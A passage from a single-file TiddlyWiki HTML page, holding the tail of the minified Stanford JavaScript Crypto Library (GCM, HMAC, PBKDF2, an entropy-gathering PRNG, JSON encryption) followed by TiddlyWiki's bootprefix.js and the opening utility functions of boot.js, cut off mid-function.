0,0];f=b.slice(0);for(c=0;128>c;c++){(d=0!==(a[Math.floor(c/32)]&1<<31-c%32))&&(e=h(e,f));g=0!==(f[3]&1);for(d=3;0<d;d--)f[d]=f[d]>>>1|(f[d-1]&1)<<31;f[0]>>>=1;g&&(f[0]^=-0x1f000000)}return e},j:function(a,b,c){var d,e=c.length;b=b.slice(0);for(d=0;d<e;d+=4)b[0]^=0xffffffff&c[d],b[1]^=0xffffffff&c[d+1],b[2]^=0xffffffff&c[d+2],b[3]^=0xffffffff&c[d+3],b=sjcl.mode.gcm.ka(b,a);return b},C:function(a,b,c,d,e,f){var g,h,k,l,n,m,p,r,q=sjcl.bitArray;m=c.length;p=q.bitLength(c);r=q.bitLength(d);h=q.bitLength(e);
g=b.encrypt([0,0,0,0]);96===h?(e=e.slice(0),e=q.concat(e,[1])):(e=sjcl.mode.gcm.j(g,[0,0,0,0],e),e=sjcl.mode.gcm.j(g,e,[0,0,Math.floor(h/0x100000000),h&0xffffffff]));h=sjcl.mode.gcm.j(g,[0,0,0,0],d);n=e.slice(0);d=h.slice(0);a||(d=sjcl.mode.gcm.j(g,h,c));for(l=0;l<m;l+=4)n[3]++,k=b.encrypt(n),c[l]^=k[0],c[l+1]^=k[1],c[l+2]^=k[2],c[l+3]^=k[3];c=q.clamp(c,p);a&&(d=sjcl.mode.gcm.j(g,h,c));a=[Math.floor(r/0x100000000),r&0xffffffff,Math.floor(p/0x100000000),p&0xffffffff];d=sjcl.mode.gcm.j(g,d,a);k=b.encrypt(e);
d[0]^=k[0];d[1]^=k[1];d[2]^=k[2];d[3]^=k[3];return{tag:q.bitSlice(d,0,f),data:c}}};sjcl.misc.hmac=function(a,b){this.W=b=b||sjcl.hash.sha256;var c=[[],[]],d,e=b.prototype.blockSize/32;this.w=[new b,new b];a.length>e&&(a=b.hash(a));for(d=0;d<e;d++)c[0][d]=a[d]^909522486,c[1][d]=a[d]^1549556828;this.w[0].update(c[0]);this.w[1].update(c[1]);this.R=new b(this.w[0])};
sjcl.misc.hmac.prototype.encrypt=sjcl.misc.hmac.prototype.mac=function(a){if(this.aa)throw new sjcl.exception.invalid("encrypt on already updated hmac called!");this.update(a);return this.digest(a)};sjcl.misc.hmac.prototype.reset=function(){this.R=new this.W(this.w[0]);this.aa=!1};sjcl.misc.hmac.prototype.update=function(a){this.aa=!0;this.R.update(a)};sjcl.misc.hmac.prototype.digest=function(){var a=this.R.finalize(),a=(new this.W(this.w[1])).update(a).finalize();this.reset();return a};
sjcl.misc.pbkdf2=function(a,b,c,d,e){c=c||1E4;if(0>d||0>c)throw new sjcl.exception.invalid("invalid params to pbkdf2");"string"===typeof a&&(a=sjcl.codec.utf8String.toBits(a));"string"===typeof b&&(b=sjcl.codec.utf8String.toBits(b));e=e||sjcl.misc.hmac;a=new e(a);var f,g,h,k,l=[],n=sjcl.bitArray;for(k=1;32*l.length<(d||1);k++){e=f=a.encrypt(n.concat(b,[k]));for(g=1;g<c;g++)for(f=a.encrypt(f),h=0;h<f.length;h++)e[h]^=f[h];l=l.concat(e)}d&&(l=n.clamp(l,d));return l};
sjcl.prng=function(a){this.c=[new sjcl.hash.sha256];this.m=[0];this.P=0;this.H={};this.N=0;this.U={};this.Z=this.f=this.o=this.ha=0;this.b=[0,0,0,0,0,0,0,0];this.h=[0,0,0,0];this.L=void 0;this.M=a;this.D=!1;this.K={progress:{},seeded:{}};this.u=this.ga=0;this.I=1;this.J=2;this.ca=0x10000;this.T=[0,48,64,96,128,192,0x100,384,512,768,1024];this.da=3E4;this.ba=80};
sjcl.prng.prototype={randomWords:function(a,b){var c=[],d;d=this.isReady(b);var e;if(d===this.u)throw new sjcl.exception.notReady("generator isn't seeded");if(d&this.J){d=!(d&this.I);e=[];var f=0,g;this.Z=e[0]=(new Date).valueOf()+this.da;for(g=0;16>g;g++)e.push(0x100000000*Math.random()|0);for(g=0;g<this.c.length&&(e=e.concat(this.c[g].finalize()),f+=this.m[g],this.m[g]=0,d||!(this.P&1<<g));g++);this.P>=1<<this.c.length&&(this.c.push(new sjcl.hash.sha256),this.m.push(0));this.f-=f;f>this.o&&(this.o=
f);this.P++;this.b=sjcl.hash.sha256.hash(this.b.concat(e));this.L=new sjcl.cipher.aes(this.b);for(d=0;4>d&&(this.h[d]=this.h[d]+1|0,!this.h[d]);d++);}for(d=0;d<a;d+=4)0===(d+1)%this.ca&&y(this),e=z(this),c.push(e[0],e[1],e[2],e[3]);y(this);return c.slice(0,a)},setDefaultParanoia:function(a,b){if(0===a&&"Setting paranoia=0 will ruin your security; use it only for testing"!==b)throw new sjcl.exception.invalid("Setting paranoia=0 will ruin your security; use it only for testing");this.M=a},addEntropy:function(a,
b,c){c=c||"user";var d,e,f=(new Date).valueOf(),g=this.H[c],h=this.isReady(),k=0;d=this.U[c];void 0===d&&(d=this.U[c]=this.ha++);void 0===g&&(g=this.H[c]=0);this.H[c]=(this.H[c]+1)%this.c.length;switch(typeof a){case "number":void 0===b&&(b=1);this.c[g].update([d,this.N++,1,b,f,1,a|0]);break;case "object":c=Object.prototype.toString.call(a);if("[object Uint32Array]"===c){e=[];for(c=0;c<a.length;c++)e.push(a[c]);a=e}else for("[object Array]"!==c&&(k=1),c=0;c<a.length&&!k;c++)"number"!==typeof a[c]&&
(k=1);if(!k){if(void 0===b)for(c=b=0;c<a.length;c++)for(e=a[c];0<e;)b++,e=e>>>1;this.c[g].update([d,this.N++,2,b,f,a.length].concat(a))}break;case "string":void 0===b&&(b=a.length);this.c[g].update([d,this.N++,3,b,f,a.length]);this.c[g].update(a);break;default:k=1}if(k)throw new sjcl.exception.bug("random: addEntropy only supports number, array of numbers or string");this.m[g]+=b;this.f+=b;h===this.u&&(this.isReady()!==this.u&&A("seeded",Math.max(this.o,this.f)),A("progress",this.getProgress()))},
isReady:function(a){a=this.T[void 0!==a?a:this.M];return this.o&&this.o>=a?this.m[0]>this.ba&&(new Date).valueOf()>this.Z?this.J|this.I:this.I:this.f>=a?this.J|this.u:this.u},getProgress:function(a){a=this.T[a?a:this.M];return this.o>=a?1:this.f>a?1:this.f/a},startCollectors:function(){if(!this.D){this.a={loadTimeCollector:B(this,this.ma),mouseCollector:B(this,this.oa),keyboardCollector:B(this,this.la),accelerometerCollector:B(this,this.ea),touchCollector:B(this,this.qa)};if(window.addEventListener)window.addEventListener("load",
this.a.loadTimeCollector,!1),window.addEventListener("mousemove",this.a.mouseCollector,!1),window.addEventListener("keypress",this.a.keyboardCollector,!1),window.addEventListener("devicemotion",this.a.accelerometerCollector,!1),window.addEventListener("touchmove",this.a.touchCollector,!1);else if(document.attachEvent)document.attachEvent("onload",this.a.loadTimeCollector),document.attachEvent("onmousemove",this.a.mouseCollector),document.attachEvent("keypress",this.a.keyboardCollector);else throw new sjcl.exception.bug("can't attach event");
this.D=!0}},stopCollectors:function(){this.D&&(window.removeEventListener?(window.removeEventListener("load",this.a.loadTimeCollector,!1),window.removeEventListener("mousemove",this.a.mouseCollector,!1),window.removeEventListener("keypress",this.a.keyboardCollector,!1),window.removeEventListener("devicemotion",this.a.accelerometerCollector,!1),window.removeEventListener("touchmove",this.a.touchCollector,!1)):document.detachEvent&&(document.detachEvent("onload",this.a.loadTimeCollector),document.detachEvent("onmousemove",
this.a.mouseCollector),document.detachEvent("keypress",this.a.keyboardCollector)),this.D=!1)},addEventListener:function(a,b){this.K[a][this.ga++]=b},removeEventListener:function(a,b){var c,d,e=this.K[a],f=[];for(d in e)e.hasOwnProperty(d)&&e[d]===b&&f.push(d);for(c=0;c<f.length;c++)d=f[c],delete e[d]},la:function(){C(this,1)},oa:function(a){var b,c;try{b=a.x||a.clientX||a.offsetX||0,c=a.y||a.clientY||a.offsetY||0}catch(d){c=b=0}0!=b&&0!=c&&this.addEntropy([b,c],2,"mouse");C(this,0)},qa:function(a){a=
a.touches[0]||a.changedTouches[0];this.addEntropy([a.pageX||a.clientX,a.pageY||a.clientY],1,"touch");C(this,0)},ma:function(){C(this,2)},ea:function(a){a=a.accelerationIncludingGravity.x||a.accelerationIncludingGravity.y||a.accelerationIncludingGravity.z;if(window.orientation){var b=window.orientation;"number"===typeof b&&this.addEntropy(b,1,"accelerometer")}a&&this.addEntropy(a,2,"accelerometer");C(this,0)}};
function A(a,b){var c,d=sjcl.random.K[a],e=[];for(c in d)d.hasOwnProperty(c)&&e.push(d[c]);for(c=0;c<e.length;c++)e[c](b)}function C(a,b){"undefined"!==typeof window&&window.performance&&"function"===typeof window.performance.now?a.addEntropy(window.performance.now(),b,"loadtime"):a.addEntropy((new Date).valueOf(),b,"loadtime")}function y(a){a.b=z(a).concat(z(a));a.L=new sjcl.cipher.aes(a.b)}function z(a){for(var b=0;4>b&&(a.h[b]=a.h[b]+1|0,!a.h[b]);b++);return a.L.encrypt(a.h)}
function B(a,b){return function(){b.apply(a,arguments)}}sjcl.random=new sjcl.prng(6);
a:try{var D,E,F,G;if(G="undefined"!==typeof module&&module.exports){var H;try{H=require("crypto")}catch(a){H=null}G=E=H}if(G&&E.randomBytes)D=E.randomBytes(128),D=new Uint32Array((new Uint8Array(D)).buffer),sjcl.random.addEntropy(D,1024,"crypto['randomBytes']");else if("undefined"!==typeof window&&"undefined"!==typeof Uint32Array){F=new Uint32Array(32);if(window.crypto&&window.crypto.getRandomValues)window.crypto.getRandomValues(F);else if(window.msCrypto&&window.msCrypto.getRandomValues)window.msCrypto.getRandomValues(F);
else break a;sjcl.random.addEntropy(F,1024,"crypto['getRandomValues']")}}catch(a){"undefined"!==typeof window&&window.console&&(console.log("There was an error collecting entropy from the browser:"),console.log(a))}
sjcl.json={defaults:{v:1,iter:1E4,ks:128,ts:64,mode:"ccm",adata:"",cipher:"aes"},ja:function(a,b,c,d){c=c||{};d=d||{};var e=sjcl.json,f=e.g({iv:sjcl.random.randomWords(4,0)},e.defaults),g;e.g(f,c);c=f.adata;"string"===typeof f.salt&&(f.salt=sjcl.codec.base64.toBits(f.salt));"string"===typeof f.iv&&(f.iv=sjcl.codec.base64.toBits(f.iv));if(!sjcl.mode[f.mode]||!sjcl.cipher[f.cipher]||"string"===typeof a&&100>=f.iter||64!==f.ts&&96!==f.ts&&128!==f.ts||128!==f.ks&&192!==f.ks&&0x100!==f.ks||2>f.iv.length||
4<f.iv.length)throw new sjcl.exception.invalid("json encrypt: invalid parameters");"string"===typeof a?(g=sjcl.misc.cachedPbkdf2(a,f),a=g.key.slice(0,f.ks/32),f.salt=g.salt):sjcl.ecc&&a instanceof sjcl.ecc.elGamal.publicKey&&(g=a.kem(),f.kemtag=g.tag,a=g.key.slice(0,f.ks/32));"string"===typeof b&&(b=sjcl.codec.utf8String.toBits(b));"string"===typeof c&&(f.adata=c=sjcl.codec.utf8String.toBits(c));g=new sjcl.cipher[f.cipher](a);e.g(d,f);d.key=a;f.ct="ccm"===f.mode&&sjcl.arrayBuffer&&sjcl.arrayBuffer.ccm&&
b instanceof ArrayBuffer?sjcl.arrayBuffer.ccm.encrypt(g,b,f.iv,c,f.ts):sjcl.mode[f.mode].encrypt(g,b,f.iv,c,f.ts);return f},encrypt:function(a,b,c,d){var e=sjcl.json,f=e.ja.apply(e,arguments);return e.encode(f)},ia:function(a,b,c,d){c=c||{};d=d||{};var e=sjcl.json;b=e.g(e.g(e.g({},e.defaults),b),c,!0);var f,g;f=b.adata;"string"===typeof b.salt&&(b.salt=sjcl.codec.base64.toBits(b.salt));"string"===typeof b.iv&&(b.iv=sjcl.codec.base64.toBits(b.iv));if(!sjcl.mode[b.mode]||!sjcl.cipher[b.cipher]||"string"===
typeof a&&100>=b.iter||64!==b.ts&&96!==b.ts&&128!==b.ts||128!==b.ks&&192!==b.ks&&0x100!==b.ks||!b.iv||2>b.iv.length||4<b.iv.length)throw new sjcl.exception.invalid("json decrypt: invalid parameters");"string"===typeof a?(g=sjcl.misc.cachedPbkdf2(a,b),a=g.key.slice(0,b.ks/32),b.salt=g.salt):sjcl.ecc&&a instanceof sjcl.ecc.elGamal.secretKey&&(a=a.unkem(sjcl.codec.base64.toBits(b.kemtag)).slice(0,b.ks/32));"string"===typeof f&&(f=sjcl.codec.utf8String.toBits(f));g=new sjcl.cipher[b.cipher](a);f="ccm"===
b.mode&&sjcl.arrayBuffer&&sjcl.arrayBuffer.ccm&&b.ct instanceof ArrayBuffer?sjcl.arrayBuffer.ccm.decrypt(g,b.ct,b.iv,b.tag,f,b.ts):sjcl.mode[b.mode].decrypt(g,b.ct,b.iv,f,b.ts);e.g(d,b);d.key=a;return 1===c.raw?f:sjcl.codec.utf8String.fromBits(f)},decrypt:function(a,b,c,d){var e=sjcl.json;return e.ia(a,e.decode(b),c,d)},encode:function(a){var b,c="{",d="";for(b in a)if(a.hasOwnProperty(b)){if(!b.match(/^[a-z0-9]+$/i))throw new sjcl.exception.invalid("json encode: invalid property name");c+=d+'"'+
b+'":';d=",";switch(typeof a[b]){case "number":case "boolean":c+=a[b];break;case "string":c+='"'+escape(a[b])+'"';break;case "object":c+='"'+sjcl.codec.base64.fromBits(a[b],0)+'"';break;default:throw new sjcl.exception.bug("json encode: unsupported type");}}return c+"}"},decode:function(a){a=a.replace(/\s/g,"");if(!a.match(/^\{.*\}$/))throw new sjcl.exception.invalid("json decode: this isn't json!");a=a.replace(/^\{|\}$/g,"").split(/,/);var b={},c,d;for(c=0;c<a.length;c++){if(!(d=a[c].match(/^\s*(?:(["']?)([a-z][a-z0-9]*)\1)\s*:\s*(?:(-?\d+)|"([a-z0-9+\/%*_.@=\-]*)"|(true|false))$/i)))throw new sjcl.exception.invalid("json decode: this isn't json!");
null!=d[3]?b[d[2]]=parseInt(d[3],10):null!=d[4]?b[d[2]]=d[2].match(/^(ct|adata|salt|iv)$/)?sjcl.codec.base64.toBits(d[4]):unescape(d[4]):null!=d[5]&&(b[d[2]]="true"===d[5])}return b},g:function(a,b,c){void 0===a&&(a={});if(void 0===b)return a;for(var d in b)if(b.hasOwnProperty(d)){if(c&&void 0!==a[d]&&a[d]!==b[d])throw new sjcl.exception.invalid("required parameter overridden");a[d]=b[d]}return a},sa:function(a,b){var c={},d;for(d in a)a.hasOwnProperty(d)&&a[d]!==b[d]&&(c[d]=a[d]);return c},ra:function(a,
b){var c={},d;for(d=0;d<b.length;d++)void 0!==a[b[d]]&&(c[b[d]]=a[b[d]]);return c}};sjcl.encrypt=sjcl.json.encrypt;sjcl.decrypt=sjcl.json.decrypt;sjcl.misc.pa={};sjcl.misc.cachedPbkdf2=function(a,b){var c=sjcl.misc.pa,d;b=b||{};d=b.iter||1E3;c=c[a]=c[a]||{};d=c[d]=c[d]||{firstSalt:b.salt&&b.salt.length?b.salt.slice(0):sjcl.random.randomWords(2,0)};c=void 0===b.salt?d.firstSalt:b.salt;d[c]=d[c]||sjcl.misc.pbkdf2(a,c,b.iter);return{key:d[c].slice(0),salt:c.slice(0)}};
"undefined"!==typeof module&&module.exports&&(module.exports=sjcl);"function"===typeof define&&define([],function(){return sjcl});
</script>
</div>
<!--~~ Boot kernel prologue ~~-->
<div id="bootKernelPrefix" style="display:none;">
<script data-tiddler-title="$:/boot/bootprefix.js" data-tiddler-type="application/javascript" type="text/javascript">/*\
title: $:/boot/bootprefix.js
type: application/javascript
This file sets up the globals that need to be available when JavaScript modules are executed in the browser. The overall sequence is:
# BootPrefix.js
# <module definitions>
# Boot.js
See Boot.js for further details of the boot process.
\*/
var _bootprefix = (function($tw) {
"use strict";
$tw = $tw || Object.create(null);
$tw.boot = $tw.boot || Object.create(null);
// Detect platforms
if(!("browser" in $tw)) {
$tw.browser = typeof(window) !== "undefined" ? {} : null;
}
if(!("node" in $tw)) {
$tw.node = typeof(process) === "object" ? {} : null;
}
if(!("nodeWebKit" in $tw)) {
$tw.nodeWebKit = $tw.node && global.window && global.window.nwDispatcher ? {} : null;
}
// Set default boot tasks
$tw.boot.tasks = {
trapErrors: !!($tw.browser && !$tw.node),
readBrowserTiddlers: !!($tw.browser && !$tw.node)
};
/*
Information about each module is kept in an object with these members:
moduleType: type of module
definition: object, function or string defining the module; see below
exports: exports of the module, filled in after execution
The `definition` can be of several types:
* An object can be used to directly specify the exports of the module
* A function with the arguments `module,require,exports` that returns `exports`
* A string function body with the same arguments
Each moduleInfo object is stored in two hashmaps: $tw.modules.titles and $tw.modules.types. The first is indexed by title and the second is indexed by type and then title
*/
$tw.modules = {
titles: {}, // hashmap by module name of moduleInfo
types: {} // hashmap by module type and then name of moduleInfo
};
/*
Define a JavaScript tiddler module for later execution
moduleName: name of module being defined
moduleType: type of module
definition: module definition; see discussion above
*/
$tw.modules.define = function(moduleName,moduleType,definition) {
// Create the moduleInfo
var moduleInfo = {
moduleType: moduleType,
definition: definition,
exports: undefined
};
// If the definition is already an object we can use it as the exports
if(typeof moduleInfo.definition === "object") {
moduleInfo.exports = definition;
}
// Store the module in the titles hashmap
if(Object.prototype.hasOwnProperty.call($tw.modules.titles,moduleName)) {
console.log("Warning: Redefined module - " + moduleName);
}
$tw.modules.titles[moduleName] = moduleInfo;
// Store the module in the types hashmap
if(!Object.prototype.hasOwnProperty.call($tw.modules.types,moduleType)) {
$tw.modules.types[moduleType] = {};
}
if(Object.prototype.hasOwnProperty.call($tw.modules.types[moduleType],moduleName)) {
console.log("Warning: Redefined module - " + moduleName);
}
$tw.modules.types[moduleType][moduleName] = moduleInfo;
};
/*
External JavaScript can populate this array before calling boot.js in order to preload tiddlers
*/
$tw.preloadTiddlers = $tw.preloadTiddlers || [];
/*
Convenience function for pushing a tiddler onto the preloading array
*/
$tw.preloadTiddler = function(fields) {
$tw.preloadTiddlers.push(fields);
};
/*
Convenience function for pushing an array of tiddlers onto the preloading array
*/
$tw.preloadTiddlerArray = function(fieldsArray) {
$tw.preloadTiddlers.push.apply($tw.preloadTiddlers,fieldsArray);
};
return $tw;
});
if(typeof(exports) === "undefined") {
// Set up $tw global for the browser
window.$tw = _bootprefix(window.$tw);
} else {
// Export functionality as a module
exports.bootprefix = _bootprefix;
}
//# sourceURL=$:/boot/bootprefix.js
</script>
</div>
<!--~~ Boot kernel ~~-->
<div id="bootKernel" style="display:none;">
<script data-tiddler-title="$:/boot/boot.js" data-tiddler-type="application/javascript" type="text/javascript">/*\
title: $:/boot/boot.js
type: application/javascript
The main boot kernel for TiddlyWiki. This single file creates a barebones TW environment that is just sufficient to bootstrap the modules containing the main logic of the application.
On the server this file is executed directly to boot TiddlyWiki. In the browser, this file is packed into a single HTML file.
\*/
var _boot = (function($tw) {
/*jslint node: true, browser: true */
/*global modules: false, $tw: false */
"use strict";
// Include bootprefix if we're not given module data
if(!$tw) {
$tw = require("./bootprefix.js").bootprefix();
}
$tw.utils = $tw.utils || Object.create(null);
/////////////////////////// Standard node.js libraries
var fs, path, vm;
if($tw.node) {
fs = require("fs");
path = require("path");
vm = require("vm");
}
/////////////////////////// Utility functions
$tw.boot.log = function(str) {
$tw.boot.logMessages = $tw.boot.logMessages || [];
$tw.boot.logMessages.push(str);
}
/*
Check if an object has a property
*/
$tw.utils.hop = function(object,property) {
return object ? Object.prototype.hasOwnProperty.call(object,property) : false;
};
/*
Determine if a value is an array
*/
$tw.utils.isArray = function(value) {
return Object.prototype.toString.call(value) == "[object Array]";
};
/*
Check if an array is equal by value and by reference.
*/
$tw.utils.isArrayEqual = function(array1,array2) {
if(array1 === array2) {
return true;
}
array1 = array1 || [];
array2 = array2 || [];
if(array1.length !== array2.length) {
return false;
}
return array1.every(function(value,index) {
return value === array2[index];
});
};
/*
Add an entry to a sorted array if it doesn't already exist, while maintaining the sort order
*/
$tw.utils.insertSortedArray = function(array,value) {
var low = 0, high = array.length - 1, mid, cmp;
while(low <= high) {
mid = (low + high) >> 1;
cmp = value.localeCompare(array[mid]);
if(cmp > 0) {
low = mid + 1;
} else if(cmp < 0) {
high = mid - 1;
} else {
return array;
}
}
array.splice(low,0,value);
return array;
};
/*
Push entries onto an array, removing them first if they already exist in the array
array: array to modify (assumed to be free of duplicates)
value: a single value to push or an array of values to push
*/
$tw.utils.pushTop = function(array,value) {
var t,p;
if($tw.utils.isArray(value)) {
// Remove any array entries that are duplicated in the new values
if(value.length !== 0) {
if(array.length !== 0) {
if(value.length < array.length) {
for(t=0; t<value.length; t++) {
p = array.indexOf(value[t]);
if(p !== -1) {
array.splice(p,1);
}
}
} else {
for(t=array.length-1; t>=0; t--) {
p = value.indexOf(array[t]);
if(p !== -1) {
array.splice(t,1);
}
}
}
}
// Push the values on top of the main array
array.push.apply(array,value);
}
} else {
p = array.indexOf(value);
if(p !== -1) {
array.splice(p,1);
}
array.push(value);
}
return array;
};
/*
Determine if a value is a date
*/
$tw.utils.isDate = function(value) {
return Object.prototype.toString.call(value) === "[object Date]";
};
/*
Iterate through all the own properties of an object or array. Callback is invoked with (element,title,object)
*/
$tw.utils.each = function(object,callback) {
var next,f,length;
if(object) {
if(Object.prototype.toString.call(object) == "[object Array]") {
for (f=0, length=object.length; f<length; f++) {
next = callback(object[f],f,object);
if(next === false) {
break;
}
}
} else {
var keys = Object.keys(object);
for (f=0, length=keys.length; f<length; f++) {
var key = keys[f];
next = callback(object[key],key,object);
if(next === false) {
break;
}
}
}
}
};
/*
Helper for making DOM elements
tag: tag name
options: see below
Options include:
namespace: defaults to http://www.w3.org/1999/xhtml
attributes: hashmap of attribute values
style: hashmap of styles
text: text to add as a child node
children: array of further child nodes
innerHTML: optional HTML for element
class: class name(s)
document: defaults to current document
eventListeners: array of event listeners (this option won't work until $tw.utils.addEventListeners() has been loaded)
*/
$tw.utils.domMaker = function(tag,options) {
var doc = options.document || document;
var element = doc.createElementNS(options.namespace || "http://www.w3.org/1999/xhtml",tag);
if(options["class"]) {
element.className = options["class"];
}
if(options.text) {
element.appendChild(doc.createTextNode(options.text));
}
$tw.utils.each(options.children,function(child) {
element.appendChild(child);
});
if(options.innerHTML) {
element.innerHTML = options.innerHTML;
}
$tw.utils.each(options.attributes,function(attribute,name) {
element.setAttribute(name,attribute);
});
$tw.utils.each(options.style,function(value,name) {
element.style[name] = value;
});
if(options.eventListeners) {
$tw.utils.addEventListeners(element,options.eventListeners);
}
return element;
};
/*
Display an error and exit
*/
$tw.utils.error = function(err) {
// Prepare the error message
var errHeading = ( $tw.language == undefined ? "Internal JavaScript Error" : $tw.language.getString("InternalJavaScriptError/Title") ),
promptMsg = ( $tw.language == undefined ? "Well, this is embarrassing. It is recommended that you restart TiddlyWiki by refreshing your browser" : $tw.language.getString("InternalJavaScriptError/Hint") );
// Log the error to the console
console.error($tw.node ? "\x1b[1;31m" + err + "\x1b[0m" : err);
if($tw.browser && !$tw.node) {
// Display an error message to the user
var dm = $tw.utils.domMaker,
heading = dm("h1",{text: errHeading}),
prompt = dm("div",{text: promptMsg, "class": "tc-error-prompt"}),
message = dm("div",{text: err, "class":"tc-error-message"}),
button = dm("div",{children: [dm("button",{text: ( $tw.language == undefined ? "close" : $tw.language.getString("Buttons/Close/Caption") )})], "class": "tc-error-prompt"}),
form = dm("form",{children: [heading,prompt,message,button], "class": "tc-error-form"});
document.body.insertBefore(form,document.body.firstChild);
form.addEventListener("submit",function(event) {
document.body.removeChild(form);
event.preventDefault();
return false;
},true);
return null;
} else if(!$tw.browser) {
// Exit if we're under node.js
process.exit(1);
}
};
/*
Use our custom error handler if we're in the browser
*/
if($tw.boot.tasks.trapErrors) {
window.onerror = function(errorMsg,url,lineNumber) {
$tw.utils.error(errorMsg);
return false;
};
}
/*
Extend an object with the properties from a list of source objects
*/
$tw.utils.extend = function(object /*, sourceObjectList */) {
$tw.utils.each(Array.prototype.slice.call(arguments,1),function(source) {
if(source) {
for (var p in source) {
object[p] = source[p];
}
}
});
return object;
};
/*
Fill in any null or undefined properties of an object with the properties from a list of source objects. Each property that is an object is called recursively
*/
$tw.utils.deepDefaults = function(object /*, sourceObjectList */) {
$tw.utils.each(Array.prototype.slice.call(arguments,1),function(source) {
if(source) {
for (var p in source) {
if(object[p] === null || object[p] === undefined) {
object[p] = source[p];
}
if(typeof object[p] === "object" && typeof source[p] === "object") {
$tw.utils.deepDefaults(object[p],source[p]);
}
}
}
});
return object;
};
/*
Convert a URIComponent encoded string to a string safely
*/
$tw.utils.decodeURIComponentSafe = function(s) {
var v = s;
try {
v = decodeURIComponent(s);
} catch(e) {}
return v;
};
/*
Convert a URI encoded string to a string safely
*/
$tw.utils.decodeURISafe = function(s) {
var v = s;
try {
v = decodeURI(s);
} catch(e) {}
return v;
};
/*
Convert "&amp;" to &, "&nbsp;" to nbsp, "&lt;" to <, "&gt;" to > and "&quot;" to "
*/
$tw.utils.htmlDecode = function(s) {
return s.toString().replace(/&lt;/mg,"<").replace(/&nbsp;/mg,"\xA0").replace(/&gt;/mg,">").replace(/&quot;/mg,"\"").replace(/&amp;/mg,"&");
};
/*
Get the browser location.hash. We don't use location.hash because of the way that Firefox auto-urldecodes it (see http://stackoverflow.com/questions/1703552/encoding-of-window-location-hash)
*/
$tw.utils.getLocationHash = function() {
var href = window.location.href;
var idx = href.indexOf('#');
if(idx === -1) {
return "#";
} else if(idx < href.length-1 && href[idx+1] === '#') {
// Special case: ignore location hash if it itself starts with a #
return "#";
} else {
return href.substring(idx);
}
};
/*
Pad a string to a given length with "0"s. Length defaults to 2
*/
$tw.utils.pad = function(value,length) {
length = length || 2;
var s = value.toString();
if(s.length < length) {
s = "000000000000000000000000000".substr(0,length - s.length) + s;
}
return s;
};
// Convert a date into UTC YYYYMMDDHHMMSSmmm format
$tw.utils.stringifyDate = function(value) {
return value.getUTCFullYear() +
$tw.utils.pad(value.getUTCMonth() + 1) +
$tw.utils.pad(value.getUTCDate()) +
$tw.utils.pad(value.getUTCHours()) +
$tw.utils.pad(value.getUTCMinutes()) +
$tw.utils.pad(value.getUTCSeconds()) +
$tw.utils.pad(value.getUTCMilliseconds(),3);
};
// Parse a date from a UTC YYYYMMDDHHMMSSmmm format string
$tw.utils.parseDate = function(value) {
if(typeof value === "string") {
var negative = 1;
if(value.charAt(0) === "-") {
negative = -1;
value = value.substr(1);
}
var year = parseInt(value.substr(0,4),10) * negative,
d = new Date(Date.UTC(year,
parseInt(value.substr(4,2),10)-1,
parseInt(value.substr(6,2),10),
parseInt(value.substr(8,2)||"00",10),
parseInt(value.substr(10,2)||"00",10),
parseInt(value.substr(12,2)||"00",10),
parseInt(value.substr(14,3)||"000",10)));
d.setUTCFullYear(year); // See https://stackoverflow.com/a/5870822
return d;
} else if($tw.utils.isDate(value)) {
return value;
} else {
return null;
}
};
// Stringify an array of tiddler titles into a list string
$tw.utils.stringifyList = function(value) {
if($tw.utils.isArray(value)) {
var result = new Array(value.length);
for(var t=0, l=value.length; t<l; t++) {
var entry = value[t] || "";
if(entry.indexOf(" ") !== -1) {
result[t] = "[[" + entry + "]]";
} else {
result[t] = entry;
}
}
return result.join(" ");
} else {
return value || "";
}
};
// Parse a string array from a bracketted list. For example "OneTiddler [[Another Tiddler]] LastOne"
$tw.utils.parseStringArray = function(value, allowDuplicate) {
if(typeof value === "string") {
var memberRegExp = /(?:^|[^\S\xA0])(?:\[\[(.*?)\]\])(?=[^\S\xA0]|$)|([\S\xA0]+)/mg,
results = [], names = {},
match;
do {
match = memberRegExp.exec(value);
if(match) {
var item = match[1] || match[2];
if(item !== undefined && (!$tw.utils.hop(names,item) || allowDuplicate)) {
results.push(item);
names[item] = true;
}
}
} while(match);
return results;
} else if($tw.utils.isArray(value)) {
return value;
} else {
return null;
}
};
// Parse a block of name:value fields. The `fields` object is used as the basis for the return value
$tw.utils.parseFields = function(text,fields) {
fields = fields || Object.create(null);
text.split(/\r?\n/mg).forEach(function(line) {
if(line.charAt(0) !== "#") {
var p = line.indexOf(":");
if(p !== -1) {
var field = line.substr(0, p).trim(),
value = line.substr(p+1).trim();
if(field) {
fields[field] = value;
}
}
}
});
return fields;
};
// Safely parse a string as JSON
$tw.utils.parseJSONSafe = function(text,defaultJSON) {
try {
return JSON.parse(text);
} catch(e) {
if(typeof defaultJSON === "function") {
return defaultJSON(e);
} else {
return defaultJSON || {};
}
}
};
/*
Resolves a source filepath delimited with `/` relative to a specified absolute root filepath.
In relative paths, the special folder name `..` refers to immediate parent directory, and the
name `.` refers to the current directory
*/
$tw.utils.resolvePath = function(sourcepath,rootpath) {
// If the source path starts with ./ or ../ then it is relative to the root
if(sourcepath.substr(0,2) === "./" || sourcepath.substr(0,3) === "../" ) {
var src = sourcepath.split("/"),
root = rootpath.split("/");
// Remove the filename part of the root
root.splice(root.length-1,1);
// Process the source path bit by bit onto the end of the root path
while(src.length > 0) {
var c = src.shift();
if(c === "..") { // Slice off the last root entry for a double dot
if(root.length > 0) {
root.splice(root.length-1,1);
}
} else if(c !== ".") { // Ignore dots
root.push(c); // Copy other elements across
}
}
return root.join("/");
} else {
// If it isn't relative, just return the path
if(rootpath) {
var root = rootpath.split("/");
// Remove the filename part of the root
root.splice(root.length - 1, 1);
return root.join("/") + "/" + sourcepath;
} else {
return sourcepath;
}
}
};
/*
Parse a semantic version string into its constituent parts -- see https://semver.org
*/
$tw.utils.parseVersion = function(version) {
var match = /^v?((\d+)\.(\d+)\.(\d+))(?:-([\dA-Za-z\-]+(?:\.[\dA-Za-z\-]+)*))?(?:\+([\dA-Za-z\-]+(?:\.[\dA-Za-z\-]+)*))?$/.exec(version);
if(match) {
return {
version: match[1],
major: parseInt(match[2],10),
minor: parseInt(match[3],10),
patch: parseInt(match[4],10),
prerelease: match[5],
build: match[6]
};
} else {
return null;
}
};
/*
Returns +1 if the version string A is greater than the version string B, 0 if they are the same, and +1 if B is greater than A.
Missing or malformed version strings are parsed as 0.0.0
*/
$tw.utils.compareVersions = function(versionStringA,versionStringB) {
var defaultVersion = {
major: 0,
minor: 0,
patch: 0
},
